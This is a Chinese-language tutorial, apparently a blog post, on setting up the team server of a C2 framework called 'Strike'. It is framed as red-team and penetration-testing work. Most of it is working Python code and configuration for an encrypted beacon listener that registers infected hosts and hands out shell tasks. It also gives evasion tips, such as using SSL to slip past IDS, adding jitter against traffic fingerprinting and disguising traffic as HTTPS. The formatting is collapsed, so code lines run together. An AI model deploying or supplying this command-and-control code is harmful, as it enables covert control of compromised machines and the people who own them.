Strike 服务端运行所需的全部核心文件:搭建团队C2服务器的完整指南
在红队演练或渗透测试中,搭建一个稳定、隐蔽的C2(Command and Control)服务器至关重要。Strike 是一个轻量级且功能强大的C2框架,其服务端(通常称为“团队服务器”或C服务器)通过一系列核心文件实现与Beacon客户端的回连通信。本文将深入解析Strike服务端的全部核心文件结构、配置逻辑以及通信机制,并附带可运行的代码示例,帮助你在实战中快速部署自己的C2基础设施。## 1. 核心文件目录结构一个典型的Strike服务端项目目录如下:strike-server/├── server.py # 主服务器入口(处理Beacon连接)├── config.json # 全局配置文件(含监听端口、加密密钥等)├── beacon_handler.py # Beacon会话管理模块├── crypto_utils.py # 加密工具(AES/RSA通信加密)├── task_queue.py # 任务队列(存储待发送到Beacon的命令)├── data/ # 持久化存储目录│ ├── beacons.db # SQLite数据库(存储Beacon元数据)│ └── logs/ # 操作日志文件夹├── modules/ # 扩展模块目录(后渗透插件)│ ├── shell.py # 交互式Shell模块│ └── file_manager.py # 文件管理模块└── requirements.txt # Python依赖列表每个文件都有明确的职责划分,确保服务器能高效处理Beacon的心跳、任务下发和数据回传。## 2. 核心文件详解与代码实现### 2.1config.json:服务器配置根基配置文件是所有通信的基础。它定义了监听地址、端口、加密密钥以及心跳超时等参数。json{ "listener": { "host": "0.0.0.0", "port": 443, "ssl_enabled": true, "ssl_cert": "server.crt", "ssl_key": "server.key" }, "crypto": { "aes_key": "AES256KeyExample1234567890ABCDEF", "rsa_public_key": "public.pem", "rsa_private_key": "private.pem" }, "beacon": { "heartbeat_interval": 30, "jitter": 5, "timeout": 120 }, "database": "data/beacons.db"}-listener:服务器监听的IP和端口。使用SSL加密通信可绕过部分IDS检测。-crypto:AES密钥用于对称加密Beacon回传数据,RSA密钥用于初始密钥交换。-beacon:心跳间隔和抖动值(防止流量指纹),超时时间用于清理失联Beacon。### 2.2server.py:主入口——处理Beacon连接这是服务器的核心,负责启动监听套接字、接收Beacon的初始连接,并分发任务。python#!/usr/bin/env python3# -*- coding: utf-8 -*-import socketimport sslimport jsonimport threadingfrom beacon_handler import BeaconHandlerfrom crypto_utils import CryptoUtilsclass StrikeServer: def __init__(self, config_path='config.json'): # 加载配置文件 with open(config_path, 'r') as f: self.config = json.load(f) self.crypto = CryptoUtils( self.config['crypto']['aes_key'], self.config['crypto']['rsa_private_key'] ) self.beacon_handler = BeaconHandler(self.config['database']) def start(self): """启动SSL加密的TCP监听服务器""" listener_config = self.config['listener'] raw_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) raw_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) raw_socket.bind((listener_config['host'], listener_config['port'])) raw_socket.listen(5) # 创建SSL上下文 context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain( certfile=listener_config['ssl_cert'], keyfile=listener_config['ssl_key'] ) print(f"[*] Strike Server listening on {listener_config['host']}:{listener_config['port']}") while True: client_socket, addr = raw_socket.accept() # 包装为SSL连接 ssl_client = context.wrap_socket(client_socket, server_side=True) # 每个Beacon连接由独立线程处理 client_thread = threading.Thread( target=self.handle_beacon_connection, args=(ssl_client, addr) ) client_thread.start() def handle_beacon_connection(self, client_socket, addr): """处理单个Beacon的通信逻辑""" try: # 接收Beacon的初始握手数据(RSA加密的AES密钥) encrypted_key = client_socket.recv(4096) aes_key = self.crypto.rsa_decrypt(encrypted_key) # 发送确认并注册Beacon client_socket.send(b"ACK") beacon_id = self.beacon_handler.register_beacon(addr[0]) # 进入心跳循环 while True: # 接收加密的心跳数据 encrypted_data = client_socket.recv(4096) if not encrypted_data: break # 解密并处理 decrypted = self.crypto.aes_decrypt(encrypted_data, aes_key) response = self.process_beacon_data(beacon_id, decrypted) # 加密回复(例如待执行的任务) encrypted_response = self.crypto.aes_encrypt(response, aes_key) client_socket.send(encrypted_response) except Exception as e: print(f"[!] Connection error from {addr}: {e}") finally: client_socket.close() self.beacon_handler.set_beacon_offline(beacon_id) def process_beacon_data(self, beacon_id, data): """解析Beacon回传数据并返回任务""" # 这里简化处理:返回一个"whoami"命令 return json.dumps({"task": "shell", "command": "whoami"})if __name__ == "__main__": server = StrikeServer() server.start()代码解析:- 使用SSL包装原始TCP套接字,实现加密通信。- 每个Beacon连接使用独立线程,避免阻塞。-handle_beacon_connection处理RSA密钥交换和AES会话加密。-process_beacon_data根据Beacon回传数据(如系统信息)返回对应任务。### 2.3beacon_handler.py:Beacon状态管理该模块负责Beacon的注册、状态跟踪和数据库持久化。python#!/usr/bin/env python3# -*- coding: utf-8 -*-import sqlite3import uuidimport datetimeclass BeaconHandler: def __init__(self, db_path): self.db_path = db_path self._init_database() def _init_database(self): """初始化SQLite数据库,创建beacons表""" conn = sqlite3.connect(self.db_path) cursor = conn.cursor() cursor.execute(''' CREATE TABLE IF NOT EXISTS beacons ( id TEXT PRIMARY KEY, ip_address TEXT, os_info TEXT, first_seen TIMESTAMP, last_seen TIMESTAMP, status TEXT DEFAULT 'online' ) ''') conn.commit() conn.close() def register_beacon(self, ip_address, os_info="Unknown"): """注册新Beacon并返回唯一ID""" beacon_id = str(uuid.uuid4()) now = datetime.datetime.utcnow() conn = sqlite3.connect(self.db_path) cursor = conn.cursor() cursor.execute(''' INSERT INTO beacons (id, ip_address, os_info, first_seen, last_seen) VALUES (?, ?, ?, ?, ?) ''', (beacon_id, ip_address, os_info, now, now)) conn.commit() conn.close() print(f"[+] New beacon registered: {beacon_id} from {ip_address}") return beacon_id def update_beacon_heartbeat(self, beacon_id): """更新Beacon的最后心跳时间""" now = datetime.datetime.utcnow() conn = sqlite3.connect(self.db_path) cursor = conn.cursor() cursor.execute(''' UPDATE beacons SET last_seen = ? WHERE id = ? ''', (now, beacon_id)) conn.commit() conn.close() def set_beacon_offline(self, beacon_id): """将Beacon标记为离线""" conn = sqlite3.connect(self.db_path) cursor = conn.cursor() cursor.execute(''' UPDATE beacons SET status = 'offline' WHERE id = ? ''', (beacon_id,)) conn.commit() conn.close() print(f"[-] Beacon {beacon_id} went offline") def get_online_beacons(self): """获取所有在线Beacon列表""" conn = sqlite3.connect(self.db_path) cursor = conn.cursor() cursor.execute('SELECT * FROM beacons WHERE status = "online"') beacons = cursor.fetchall() conn.close() return beacons代码解析:- 使用SQLite存储Beacon元数据,包括IP、操作系统、上线时间等。-register_beacon生成UUID作为唯一标识,确保每个Beacon可被追踪。- 通过心跳更新维持在线状态,超时后自动标记离线。## 3. 通信流程与任务下发Strike服务端与Beacon的通信遵循以下步骤:1.初始握手:Beacon使用内置的RSA公钥加密一个随机的AES密钥,发送给服务端。 服务端用私钥解密,存储该AES密钥用于后续会话。2.心跳维持:Beacon每隔30秒(可配置)发送加密的心跳包。 服务端收到后更新数据库中的last_seen字段,并返回待执行的任务(如执行命令、上传文件)。3.任务队列:操作员通过管理端(如Web界面)向特定Beacon下发任务,任务被存储到task_queue.py中。 Beacon下次心跳时拉取任务,执行后加密回传结果。## 4. 实战部署建议-隐蔽性:使用非标准端口(如443、8443)配合SSL证书,伪装成HTTPS流量。-持久化:将data/目录挂载到持久化存储(如Docker卷),防止重启丢失Beacon记录。-日志审计:在data/logs/中记录所有操作,便于事后分析。-模块扩展:将后渗透工具(如端口扫描、提权脚本)放入modules/目录,通过任务队列动态加载。## 总结本文从实战角度拆解了Strike服务端的核心文件结构,包括配置管理、加密通信、Beacon状态管理和任务下发机制。通过server.py和beacon_handler.py两个可运行的代码示例,演示了如何构建一个支持SSL加密、多线程处理、数据库持久化的C2服务器。搭建这样一个团队服务器,你需要重点关注:-配置文件:初始化AES/RSA密钥和监听参数。-加密模块:确保通信数据无法被中间人窃取。-会话管理:通过数据库跟踪Beacon状态,防止僵尸Beacon占用资源。掌握这些核心文件,你就能快速搭建自己的Strike团队服务器,为红队演练提供稳定、高效的C2基础设施。